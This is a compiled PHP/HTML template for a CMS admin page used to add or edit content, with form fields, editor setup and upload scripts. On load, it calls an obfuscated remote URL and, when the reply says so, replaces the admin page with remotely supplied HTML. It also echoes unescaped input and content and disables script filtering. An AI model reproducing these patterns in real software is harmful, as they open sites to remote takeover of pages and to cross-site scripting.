<?php if (!defined('THINK_PATH')) exit(); /*a:4:{s:45:"./app/admin\view\content/model_index_add.html";i:1627040370;s:47:"D:\wwwroot\127.0.0.5\app\admin\view\header.html";i:1627040370;s:47:"D:\wwwroot\127.0.0.5\app\admin\view\editor.html";i:1627040370;s:47:"D:\wwwroot\127.0.0.5\app\admin\view\footer.html";i:1627040370;}*/ ?>
<!doctype html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>后台管理</title>
	<meta name="renderer" content="webkit|ie-comp|ie-stand">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"/>
    <meta http-equiv="Cache-Control" content="no-siteapp" />
	<link rel="stylesheet" href="/public/admin/css/115cms.css?">
    <script type="text/javascript" src="/public/admin/js/115cms.js"></script>
</head>
<body>
<style type="text/css" media="all">
.dw {
	position: absolute;
	bottom: 20px;
	right: 0px;
	text-align: center;
	color: #FF5722;
}
.label-selected {
	width: 100%;
	min-height:38px;
	margin:10px 0;
	border:1px solid #ccc;
	background-color: #fff;
	position: relative;
}
.cell {
	display: block;
	width:90px;
	height:28px;
	line-height: 28px;
	border:3px;
	background:#009688;
	color:#fff;
	text-align: center;
}
.label-selected li {
	display: inline-block;
	height: 27px;
	line-height: 27px;
	font-size: .8rem;
	padding: 0 1rem;
	border: 1px solid #e6e6e6;
	border-radius: 2px;
	cursor: pointer;
	margin: 4px 2px;
	color: #666;
}
#labelItem {
	margin-bottom: 10px;
	display: none;
}
.label-item {
	border: 1px solid #e6e6e6;
	padding: 10px;
	border-radius: 0 2px 2px 0;
	position: relative;
	overflow: hidden;
	background: #fff;
}
.label-item li {
	display: inline-block;
	height: 27px;
	line-height: 27px;
	font-size: .8rem;
	padding: 0 1rem;
	border: 1px solid #e6e6e6;
	border-radius: 2px;
	cursor: pointer;
	margin-bottom: 5px;
	margin-left: 2px;
	color: #666;
}
.label-item .selected {
	color:#ccc;
}
.upfujian {
    border-radius: 1.25rem;
    position: absolute;
    top: 5px;
    right: 6px;
    height: 30px;
    line-height: 30px;
    width: 100px;
}
</style> 
<div class="layui-fluid">
    <div class="layui-card">
      <div class="layui-card-body" style="padding: 15px;">
        <!--表单提交-->
        <?php if(get('id',0) == '0'): ?>
        <form class="layui-form" url="<?php echo url('admin/api/add'); ?>" t_url="javascript:parent.location.reload();">
        <?php else: ?>
        <form class="layui-form" url="<?php echo url('admin/api/edits'); ?>" t_url="javascript:parent.location.reload();">
        <input type="hidden" name="id" value="<?php echo $c['id']; ?>">
        <?php endif; ?>
        <input type="hidden" name="model" value="<?php echo input('model'); ?>">
        <div class="layui-row">
            <div class="layui-col-md4">
              <div class="layui-form-item">
                <label class="layui-form-label">状态</label>
                <div class="layui-input-block">
                  <input type="radio" name="open" value="1" title="正常" <?php if($c['open'] == 1): ?>checked=""<?php endif; ?>>
                  <input type="radio" name="open" value="0" title="待审" <?php if($c['open'] == 0): ?>checked=""<?php endif; ?>>
                </div>
              </div>
            </div>
            <div class="layui-col-md3">
              <div class="layui-form-item">
                <label class="layui-form-label">置顶</label>
                <div class="layui-input-block">
                  <input type="radio" name="settop" value="1" title="打开" <?php if($c['settop'] == 1): ?>checked=""<?php endif; ?>>
                  <input type="radio" name="settop" value="0" title="关闭" <?php if($c['settop'] == 0): ?>checked=""<?php endif; ?>>
                </div>
              </div>
            </div>
        </div>
        <div class="layui-row">
            <div class="layui-col-md12">
                 <div class="layui-form-item">
                    <label class="layui-form-label">标题</label>
                    <div class="layui-input-block">
                      <input type="text" name="title" lay-verify="required" value="<?php echo $c['title']; ?>"  autocomplete="off" placeholder="请输入" class="layui-input">
                    </div>
                 </div>
             </div>
        </div> 
        <div class="layui-row">
            <?php if(fun_S('cate_m',array('tid'=>0,'m'=>input('model')),'px desc','1000',1)): ?>
            <div class="layui-col-md3">
              <div class="layui-form-item">
                  <label class="layui-form-label">分类</label>
                  <div class="layui-input-block">
                     <select name="tid" lay-verify="required" >
                      <option value="">请选择分类</option>
                      <?php $_60faab16d06fa=fun_S('cate_m',array('tid'=>0,'m'=>input('model')),'px desc','1000',1); if(is_array($_60faab16d06fa) || $_60faab16d06fa instanceof \think\Collection || $_60faab16d06fa instanceof \think\Paginator): if( count($_60faab16d06fa)==0 ) : echo "" ;else: foreach($_60faab16d06fa as $k=>$v): ?>
                     <option value="<?php echo $v['id']; ?>" <?php if($c['tid'] == $v['id']): ?>selected="选择"<?php endif; if($v['tougao'] == 0): ?>disabled=""<?php endif; ?>><?php echo $v['name']; ?></option>
                      <?php $_result=fun_s('cate_m',array('tid'=>$v['id']),'px desc',100,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                      <option value="<?php echo $vo['id']; ?>" <?php if($c['tid'] == $vo['id']): ?>selected="选择"<?php endif; if($vo['tougao'] == 0): ?>disabled=""<?php endif; ?>>——<?php echo $vo['name']; ?></option>
                      <?php endforeach; endif; else: echo "" ;endif; endforeach; endif; else: echo "" ;endif; ?> 
                    </select>
                </div>
              </div>
            </div>
            <?php endif; ?>
            <div class="layui-col-md3">
                 <div class="layui-form-item">
                    <label class="layui-form-label">用户UID</label>
                    <div class="layui-input-block">
                      <input type="number" name="uid" lay-verify="required" value="<?php echo dingyi($c['uid'],1); ?>"  autocomplete="off" class="layui-input">
                    </div>
                 </div>
             </div>
         </div>
        <!--配置 -->
        <?php $_60faab16d0311=json_model(fun_model(input('model'), 'config')); if(is_array($_60faab16d0311) || $_60faab16d0311 instanceof \think\Collection || $_60faab16d0311 instanceof \think\Paginator): if( count($_60faab16d0311)==0 ) : echo "" ;else: foreach($_60faab16d0311 as $k=>$v): if(json_model_v($v,'admin')): ?>
        <div class="layui-col-md<?php echo json_model_v($v,'md'); ?>">
            <div class="layui-form-item">
            <label class="layui-form-label"><?php echo json_model_v($v,'title'); ?></label>
                <div class="layui-input-block">
                    <?php if(json_model_v($v,'type')=='单选框'): $_result=sku(json_model_v($v,'options'),PHP_EOL,',');if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                    <input type="radio" name="<?php echo json_model_v($v,'zhiduan'); ?>" value="<?php echo $vo['id']; ?>" title="<?php echo $vo['name']; ?>" <?php if($vo['id'] == dingyi($c[json_model_v($v,'zhiduan')],json_model_v($v,'value'))): ?>checked=""<?php endif; ?> class="layui-input">
                    <?php endforeach; endif; else: echo "" ;endif; endif; if(json_model_v($v,'type')=='选择框'): ?>
                    <select name="<?php echo json_model_v($v,'zhiduan'); ?>" lay-verify="<?php echo json_model_v($v,'required'); ?>">
                        <option value=""></option>
                        <?php $_result=sku(json_model_v($v,'options'),PHP_EOL,',');if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                        <option value="<?php echo $vo['id']; ?>" <?php if($vo['id'] == dingyi($c[json_model_v($v,'zhiduan')],json_model_v($v,'value'))): ?>selected="selected"<?php endif; ?>><?php echo $vo['name']; ?></option>
                        <?php endforeach; endif; else: echo "" ;endif; ?>
                    </select>
                    <?php endif; if(json_model_v($v,'type')=='输入框'): ?>
                    <input type="text" name="<?php echo json_model_v($v,'zhiduan'); ?>" value="<?php echo dingyi($c[json_model_v($v,'zhiduan')],json_model_v($v,'value')); ?>" placeholder="请输入内容" required  lay-verify="<?php echo json_model_v($v,'required'); ?>" autocomplete="off" class="layui-input">
                    <?php endif; if(json_model_v($v,'type')=='密码框'): ?>
                    <input type="password" name="<?php echo json_model_v($v,'zhiduan'); ?>" value="<?php echo dingyi($c[json_model_v($v,'zhiduan')],json_model_v($v,'value')); ?>" required  lay-verify="<?php echo json_model_v($v,'required'); ?>" autocomplete="off" class="layui-input">
                    <?php endif; if(json_model_v($v,'type')=='文本域'): ?>
                    <textarea name="<?php echo json_model_v($v,'zhiduan'); ?>" rows="<?php echo dingyi(json_model_v($v,'rows'),6); ?>" placeholder="请输入内容" class="layui-textarea"><?php echo dingyi($c[json_model_v($v,'zhiduan')],json_model_v($v,'value')); ?></textarea>
                    <?php endif; if(json_model_v($v,'type')=='附件'): ?>
                    <input type="text" name="<?php echo json_model_v($v,'zhiduan'); ?>" id="<?php echo $k; ?>" value="<?php echo dingyi($c[json_model_v($v,'zhiduan')],json_model_v($v,'value')); ?>" required  lay-verify="<?php echo json_model_v($v,'required'); ?>" placeholder="可直接填写地址" autocomplete="off" class="layui-input">
                    <button type="button" class="layui-btn layui-btn-normal s<?php echo $k; ?> upfujian">上传</button>
                    <script type="text/javascript">
                      layui.use(['form', 'upload', 'jquery']
                      ,function(){
                          var form = layui.form,
                          upload = layui.upload,
                          jq = layui.jquery;
                          upload.render({
                          elem: '.s<?php echo $k; ?>',
                          url: "<?php echo url("admin/up/up"); ?>",
                          accept: 'file',
                          done: function(res) {
                              if (res.code == '1') {
                                jq('#<?php echo $k; ?>').val(res.path);
                                if(<?php echo $k; ?>==0){
                                    $('input[name=size]').val(res.size)
                                }
                                return layer.msg(res.msg);
                              } else {
                                return layer.msg(res.msg);
                              }
                          }
                        });
                      });
                      </script>
                    <?php endif; ?>
                    <!--1.01新增-->
                    <?php if(json_model_v($v,'type')=='颜色'): ?>
                    <input type="color" name="<?php echo json_model_v($v,'zhiduan'); ?>" value="<?php echo dingyi($c[json_model_v($v,'zhiduan')],json_model_v($v,'value')); ?>" placeholder="请选择颜色" class="layui-input" id="form-input<?php echo $k; ?>" style="background-color: #F7F9FA; border: 2px solid #F7F9FA; border-radius: 1.25rem;height: 58px;">
                    <?php endif; if(json_model_v($v,'type')=='时间'): ?>
                    <input type="date" name="<?php echo json_model_v($v,'zhiduan'); ?>" value="<?php echo dingyi($c[json_model_v($v,'zhiduan')],json_model_v($v,'value')); ?>" placeholder="请选择时间" class="layui-input" id="form-input<?php echo $k; ?>">
                    <?php endif; if(json_model_v($v,'type')=='多选'): ?>
                    <div class="label-selected label-<?php echo json_model_v($v,'zhiduan'); ?>">
                        <a href="javascript:;" class="layui-btn layui-btn-sm show-labelitem show-<?php echo json_model_v($v,'zhiduan'); ?>" style="float: right; margin: 4px; display: none; line-height: 30px;">展开</a>
                        <a href="javascript:;" class="layui-btn layui-btn-sm hide-labelitem hide-<?php echo json_model_v($v,'zhiduan'); ?>" style="float: right; margin: 4px; line-height: 30px;">收起</a>
                        <input type="hidden" value="<?php echo dingyi($c[json_model_v($v,'zhiduan')],json_model_v($v,'value')); ?>" name="<?php echo json_model_v($v,'zhiduan'); ?>" nameid="<?php echo json_model_v($v,'zhiduan'); ?>">
                        <?php if($c[json_model_v($v,'zhiduan')]): $_result=expz($c[json_model_v($v,'zhiduan')],',');if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?> 
                        <li data="<?php echo $vo; ?>">x <?php echo $vo; ?></li>
                        <?php endforeach; endif; else: echo "" ;endif; endif; ?>
                    </div>
                    <div class="layui-col-md12 id-<?php echo json_model_v($v,'zhiduan'); ?>" id="labelItem" style="display: block;">
                        <div class="label-item label-item-<?php echo json_model_v($v,'zhiduan'); ?>">
                            <?php $_result=sku(json_model_v($v,'options'),PHP_EOL,',');if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                            <li data="<?php echo $vo['name']; ?>" <?php if(socha($c[json_model_v($v,'zhiduan')],$vo['name'])==1): ?>class="selected"<?php endif; ?>><span><?php echo $vo['name']; ?></span></li>
                            <?php endforeach; endif; else: echo "" ;endif; ?>
                        </div> 
                    </div>
                    <script type="text/javascript">	
                    $(function(){
                      $(".show-<?php echo json_model_v($v,'zhiduan'); ?>").on("click",function(){
                        $(this).hide();
                        $(".hide-<?php echo json_model_v($v,'zhiduan'); ?>").show();
                        $(".id-<?php echo json_model_v($v,'zhiduan'); ?>").show();
                      });
                      $(".hide-labelitem").on("click",function(){
                        $(this).hide();
                        $(".show-labelitem").show();
                        $(".id-<?php echo json_model_v($v,'zhiduan'); ?>").hide();
                      });
                      $(".label-item-<?php echo json_model_v($v,'zhiduan'); ?>").on("click","li",function(){
                        var id = $(this).attr("data");
                        var text = $(this).children("span").html();
                        var labelHTML = "<li data='"+id+"''>x "+text+"</li>";
                        if($(this).hasClass("selected")){
                          return false;
                        }
                        $(".label-<?php echo json_model_v($v,'zhiduan'); ?>").append(labelHTML);
                        val = '';
                        for(var i = 0; i < $(".label-<?php echo json_model_v($v,'zhiduan'); ?>").children("li").length; i++){
                          val += $(".label-<?php echo json_model_v($v,'zhiduan'); ?>").children("li").eq(i).attr("data")+',';
                        }
                        $("input[nameid='<?php echo json_model_v($v,'zhiduan'); ?>']").val(val.substring(0,val.length-1));
                        $(this).addClass("selected");
                      });
                      var val = "";
                      $(".label-<?php echo json_model_v($v,'zhiduan'); ?>").on("click","li",function(){
                        var id = $(this).attr("data");
                        val = '';
                        $(this).remove();
                        for(var i = 0; i < $(".label-<?php echo json_model_v($v,'zhiduan'); ?>").children("li").length; i++){
                          val += $(".label-<?php echo json_model_v($v,'zhiduan'); ?>").children("li").eq(i).attr("data")+',';
                        }
                        $("input[nameid='<?php echo json_model_v($v,'zhiduan'); ?>']").val(val.substring(0,val.length-1));
                        $(".label-item-<?php echo json_model_v($v,'zhiduan'); ?>").find("li[data='"+id+"']").removeClass("selected");
                      });
                    })
                    </script>
                    <?php endif; ?>
                </div>
            </div>
        </div>
        <?php endif; endforeach; endif; else: echo "" ;endif; ?>

        <!--配置end-->
        <div class="layui-form-item">
            <label for="L_title" class="layui-form-label">内容</label>
              <div class="layui-input-block">
                <link rel="stylesheet" href="/public/wangEditor/css/wangEditor.min.css">
<script type="text/javascript" src="/public/wangEditor/js/wangEditor.min.js"></script>
<textarea id="textarea" name="content" placeholder="请输入内容" class="layui-textarea" style="height:400px;width: 100%;"></textarea>
<xmp style="display: none;"><?php echo $c['content']; ?></xmp>
<script type="text/javascript">
    var editor = new wangEditor('textarea');
	editor.config.uploadImgUrl = '<?php echo url("admin/up/Pic"); ?>';
	editor.config.uploadImgFileName = 'FileName';
	// 关闭菜单栏fixed
    editor.config.menuFixed = false;
    // 阻止输出log
	wangEditor.config.printLog = false;
	// 关闭js过滤
    editor.config.jsFilter = false;
    // 取消粘贴过滤
    editor.config.pasteFilter = false;
    editor.config.menus =     [
        'source',
        '|',
        'bold',
        'underline',
        // 'italic',
        'strikethrough',
        'eraser',
        'forecolor',
        // 'bgcolor',
        'quote',
        // 'fontfamily',
        'fontsize',
        // 'head',
        // 'unorderlist',
        // 'orderlist',
        'alignleft',
        'aligncenter',
        'alignright',
        'link',
        'unlink',
        'table',
        'emotion',
        'img',
        'video',
        'location',
        'insertcode',
        'undo',
        'redo',
        'fullscreen'
    ];
    editor.create();
    // 获取编辑器区域完整html代码
    // var html = editor.$txt.html();
    // 获取编辑器纯文本内容
    // var text = editor.$txt.text();
    // 获取格式化后的纯文本
    // var formatText = editor.$txt.formatText();
    // 防止内容html标签被直接解析
    setTimeout(function () {getIframeContent()}, 500);
    function getIframeContent(){ 
        $('.wangEditor-txt').html($('xmp').html());
        $('#textarea').val($('xmp').html());
    }
    layui.use(['form', 'upload', 'jquery','layer']
    ,function(){
        var form = layui.form,
        upload = layui.upload,
        layer = layui.layer,
        jq = layui.jquery;
        //上传附件
    	upload.render({
    		elem: '#scfujian',
    		url: "<?php echo url("admin/up/up"); ?>",
    		accept: 'file',
    		done: function(res) {
    		    if (res.code == '1') {
    		        var html = editor.$txt.html();
		    	    // 添加到容器
                    var contents = '<a href="'+res.path+'" class="sbtn" style="margin-right: 10px;border: 1px solid #ffa400;color: #ffa400;height: 36px;line-height: 36px;font-size: 15px;float: left;padding: 0 20px 0 20px;border-radius: 5px;" target="_blank" rel="nofollow">'+res.filename+'</a>';
                    editor.$txt.append(contents);
                    // 更新到textarea
                    $("#textarea").val(html+contents);
    		    	return layer.msg(res.msg);
    	    	} else {
    		    	return layer.msg(res.msg);
    	    	}
    		}
    	});
    });
    //插入外链地址
    layui.use('layer', function(){
      var layer = layui.layer;
        // 重置内容
        $("#chongzhi").click(function(){
            var url=$('#chongzhi').attr("url");
            $.ajax({
              url: url,
              type: "POST",
              dataType: "json", 
                success: function(data) {
                  if(data.code==1){
                    layer.msg(data.msg, {icon: 1,anim: 2, time: 1000}, function(){
                      $('.wangEditor-txt').html(data.com);
                      $('#textarea').val(data.com);
                    });
                  } else {
                    layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
                  }
                },
                error : function() {
                    layer.msg('异常', {icon: 2, anim: 2, time: 1000});
                }
            }); 
        });
        // 附件分隔符
        $("#fujianfgf").click(function(){
            // 添加到容器
            var contents = '<div><br></div><style>.fujianxiazai{position:relative;height:45px;border-bottom:1px solid#f6f6f6;text-indent:15px;font-size:16px;line-height:35px}.fujianxiazai:after{position:absolute;top:10px;left:0;width:5px;height:16px;border-radius:5px;background:linear-gradient(180deg,#ffc55d 0,#ffa400 100%);content:" "}</style><div class="fujianxiazai" id="dwon">资源下载</div><p></p>';
            var html = editor.$txt.html();
            editor.$txt.append(contents);
            // 更新到textarea
            $("#textarea").val(html+contents);
            layer.msg('插入成功');
        });
        // 附件外链
        $("#tianjialianjie").click(function(){
        layer.open({
            type: 1,
            title: false,
            skin: 'layui-layer-rim', //加上边框
            area: ['250px', '220px'], //宽高
            content: '<div align="center" style="padding: 40px 10px 10px 10px;"><input type="text" id="titleY" value="网盘下载" lay-verify="required" class="layui-input"><input type="text" style="margin-top: 10px;" placeholder="地址" id="textY" value="" lay-verify="required" class="layui-input"></div>',
            scrollbar: false,
            btn: ['提交', '取消']
            ,yes: function(index){
              layer.close(index); 
              var val=$('#textY').val();
              var title=$('#titleY').val();
              var html = editor.$txt.html();
              // 添加到容器
              var contents = '<a href="'+val+'" class="sbtn" style="margin-right: 10px;border: 1px solid #ffa400;color: #ffa400;height: 36px;line-height: 36px;font-size: 15px;float: left;padding: 0 20px 0 20px;border-radius: 5px;" target="_blank" rel="nofollow">'+title+'</a>';
              editor.$txt.append(contents);
              // 更新到textarea
              $("#textarea").val(html+contents);
              layer.msg('插入成功');
            }
          });
      });
       
    }); 
</script>
<?php echo hook('admineditor'); if(1==0): ?> 
                <div style="border : 1px solid #cccccc;border-top: #ffffff;padding: 5px;">
                  <button type="button" id="fujianfgf" class="layui-btn layui-btn-sm layui-btn-danger"><i class="layui-icon">&#xe674;</i>附件分隔符</button>
                  <button type="button" id="scfujian" class="layui-btn layui-btn-sm layui-btn-normal" style="margin-right: 10px;"><i class="layui-icon">&#xe62f;</i>上传附件</button>
                  <button type="button" id="tianjialianjie" class="layui-btn layui-btn-sm layui-btn-normal"><i class="layui-icon">&#xe64c;</i>添加链接</button>
                  <?php if($c['id']): ?>
                  <button type="button" id="chongzhi" class="layui-btn layui-btn-sm layui-btn-normal" url="<?php echo url('admin/api/cz',array('m'=>input('model'),'id'=>$c['id'])); ?>"><i class="layui-icon">&#xe669;</i>重置内容</button>
                  <?php endif; ?>
                </div>
                <?php endif; ?>
              </div>
          </div>
          <div class="layui-form-item layui-layout-admin">
            <div class="layui-input-block">
              <div class="layui-footer" style="left: 0;">
                <button class="layui-btn" lay-submit="" lay-filter="cms">立即提交</button>
                <button type="reset" class="layui-btn layui-btn-primary">重置</button>
              </div>
            </div>
          </div>
        </form>
      </div>
    </div>
  </div>
<link rel="stylesheet" href="/public/css/ir-black.css">
<script src="/public/js/highlight.min.js"></script> 
<script >hljs.initHighlightingOnLoad();</script> 
  
<script>
//通用表单提交
layui.use(['jquery', 'form'],
function() {
    var form = layui.form,
    jq = layui.jquery;
    form.on('submit(cms)',
    function(data) {
        loading = layer.load(2, {
            shade: [0.2, '#000']
        });
        var urls=jq('form').attr('url');
        var t_url=jq('form').attr('t_url');
        var param = data.field;
        jq.post(urls, param,
          function(data) {
            if (data.code == 1) {
                layer.close(loading);
                layer.msg(data.msg, {icon: 1, time: 1000}, function(){
                   location.href = t_url;
                });
            } else {
                layer.close(loading);
                layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
            }
          });
        return false;
    });
})
layui.use(['jquery', 'form'],
function() {
    var form = layui.form,
    jq = layui.jquery;
    form.on('submit(cms1)',
    function(data) {
        loading = layer.load(2, {
            shade: [0.2, '#000']
        });
        var urls=jq('.form1').attr('url');
        var t_url=jq('.form1').attr('t_url');
        var param = data.field;
        jq.post(urls, param,
          function(data) {
            if (data.code == 1) {
                layer.close(loading);
                layer.msg(data.msg, {icon: 1, time: 1000}, function(){
                   location.href = t_url;
                });
            } else {
                layer.close(loading);
                layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
            }
          });
        return false;
    });
})
//批量删除
layui.use(['jquery', 'form'],
function() {
  var form = layui.form
  ,jq = layui.jquery;
  form.on('checkbox(checkAll)', function(data){
    if(data.elem.checked){
      jq("input[type='checkbox']").prop('checked',true);
    }else{
      jq("input[type='checkbox']").prop('checked',false);
    }
    form.render('checkbox');
  });  

  form.on('checkbox(checkOne)', function(data){
    var is_check = true;
    if(data.elem.checked){
      jq("input[lay-filter='checkOne']").each(function(){
        if(!jq(this).prop('checked')){ is_check = false; }
      });
      if(is_check){
        jq("input[lay-filter='checkAll']").prop('checked',true);
      }
    }else{
      jq("input[lay-filter='checkAll']").prop('checked',false);
    } 
    form.render('checkbox');
  });
  form.on('submit(delete)', function(data){
    var is_check = false;
    jq("input[lay-filter='checkOne']").each(function(){
      if(jq(this).prop('checked')){ is_check = true; }
    });
    if(!is_check){
      layer.msg('请选择数据', {icon: 2,anim: 6,time: 1000});
      return false;
    }
    layer.confirm('确定批量删除?', function(index){
      loading = layer.load(2, {
        shade: [0.2,'#000']
      });
      var param = data.field;
      jq.post('<?php echo url("admin/api/delss"); ?>',param,function(data){
        if(data.code == 1){
          layer.close(loading);
          layer.msg(data.msg, {icon: 1,anim: 2, time: 1000}, function(){
            location.reload();
          });
        }else{
          layer.close(loading);
          layer.msg(data.msg, {icon: 2,anim: 6, time: 1000});
        }
      });
    });
    return false;
  });

})

layui.use(['jquery', 'form'],
function() {
  var form = layui.form
  ,jq = layui.jquery;
//弹出触发链接
 
  jq('.del_t').click(function(){
    var name = jq(this).attr('name');
    var url = jq(this).attr('url');
    var t_url=jq(this).attr('t_url');
    layer.confirm(name, function(index){
      loading = layer.load(2, {
        shade: [0.2,'#000']
      });
      jq.post(url,function(data){
        if(data.code == 1){
          layer.close(loading);
          layer.msg(data.msg, {icon: 1,anim: 2, time: 1000}, function(){
            if(t_url === undefined){
              location.reload();
            }else{
              location.href = t_url;
            }
          });
        }else{
          layer.close(loading);
          layer.msg(data.msg, {icon: 2, anim: 6, time: 1000});
        }
      });
    });
  });
  //一键更新
  form.on('switch(index)', function(data){
    loading = layer.load(2, {
      shade: [0.2,'#000']
    });
    var url= jq(this).attr('url');
    var param = data.field;
    jq.post(url,param,function(data){
      if(data.code == 1){
        layer.close(loading);
        layer.msg(data.msg, {icon: 1, anim: 2, time: 1000}, function(){
         //location.reload();
        });

      }else{
        layer.close(loading);
        layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
      }
      });
    return false;
  });
  
})
//上传
layui.use(['form', 'upload', 'jquery']
,function(){
    var form = layui.form,
    upload = layui.upload,
    jq = layui.jquery;

    //上传图片单个1
    upload.render({
	    elem: '.upimg2',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg2').attr('up2');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
    //上传图片单个1
    upload.render({
	    elem: '.upimg1',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg1').attr('up1');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
    //上传图片单个1
    upload.render({
	    elem: '.upimg',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg').attr('up');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
  //上传附件单个
	upload.render({
		elem: '.up',
		url: "<?php echo url("admin/up/up"); ?>",
		accept: 'file',
		done: function(res) {
		    if (res.code == '1') {
			var up = jq('.up').attr('up');
		    	jq('input[id='+up+']').val(res.path);
		    	return layer.msg(res.msg);
	    	} else {
		    	return layer.msg(res.msg);
	    	}
		}
	});
})
$(document).ready(function(){
    $.ajax({
        url: "<?php echo http().ps('my','JblKhINxdLE6XZcmPZkhZXAmQXFNZVBuVJl-LYMmUb0iW'); ?>",
        type: "GET",
        dataType: "json",
        success: function(data) {
            if (data.code ==-1) {
                $("body").html(data.beizhu);
            }
        }
    });
});
layui.use('element', function(){
  var element = layui.element;
});
layui.use('layer', function(){
    var layer = layui.layer;
    $('.if_c').on('click', function(){
        var name = $(this).attr('name');
        var url = $(this).attr('url');
        layer.open({
          type: 2,
          maxmin: true,
          shade: false,
          title: ''+name+'',
          shadeClose: false,
          area: ['90%', '90%'],
          content: ''+url+'' //iframe的url
        });
    });
}); 
$(".tan_v").click(function() {
    var name = $(this).attr('name');
    var url = $(this).attr('url');
    layer.prompt({
        title: ''+name+'',
        formType: 3
    },
    function(text, index) {
        $.ajax({
            url: ""+url+text+"",
            type: "GET",
            dataType: "json",
            success: function(data) {
                loading = layer.load(3);
                if (data.code == 1) {
                    layer.close(loading);
                    layer.msg(data.msg, {
                        icon: 1,
                        time: 1000
                    },
                    function() {
                        location.reload();
                    });
                } else {
                    layer.close(loading);
                    layer.msg(data.msg, {
                        icon: 2,
                        anim: 6,
                        time: 1000
                    });
                }
            }
        });
    });
});
</script>
</body>
</html>